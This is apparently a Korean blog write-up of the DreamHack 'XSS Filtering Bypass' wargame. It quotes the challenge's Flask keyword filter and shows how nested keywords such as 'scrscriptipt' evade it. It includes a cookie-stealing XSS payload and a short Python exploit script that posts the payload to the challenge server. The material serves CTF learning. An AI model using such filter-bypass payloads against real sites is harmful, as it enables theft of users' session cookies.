본문 바로가기

DreamHack

[DreamHack] XSS Filtering Bypass

https://dreamhack.io/wargame/challenges/433/

 

XSS Filtering Bypass

Exercise: XSS Filtering Bypass에서 실습하는 문제입니다.

dreamhack.io

난이도: Level 1 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 페이지에서 POST 방식으로 전송을 하면 cookie에 FLAG 값을 저장하여 넘기고 있는 것을 확인할 수 있습니다. xss_filter 함수에서는 "script", "on", "javascript" 를 "" 으로 변환합니다. 

 

이와 같이, 키워드를 공백으로 처리하는 구문에서는 흔히 scrscriptipt 와 같은 형식으로 입력을 주면 이를 우회가 가능합니다. 

 

가장 기본이 되는 XSS 방식인 <script>location.href="주소?param="+document.cookie</script> 에서 위에서 설명했던 내용을 기반으로 스크립트를 작성해보면 이와 같이 우회할 수 있습니다. 

 

<scrscriptipt>locatioonn.href="/memo?memo="+document.cookie;</scrscriptipt>

= <script>location.href="/memo?memo="+document.cookie;</script>

Exploit Code

import requests

url = 'http://host3.dreamhack.games:11281/flag'
data = {"param": '<scrscriptipt>locatioonn.href="/memo?memo="+document.cookie;</scrscriptipt>'}

r = requests.post(url=url, data=data)

print(r.text)

 

'DreamHack' 카테고리의 다른 글

[DreamHack] web-ssrf  (0) 2023.06.17
[DreamHack] login-1  (0) 2023.06.17
[DreamHack] baby-sqlite  (0) 2023.06.15
[DreamHack] Command Injection Advanced  (0) 2023.06.13
[DreamHack] out_of_bound  (0) 2023.06.09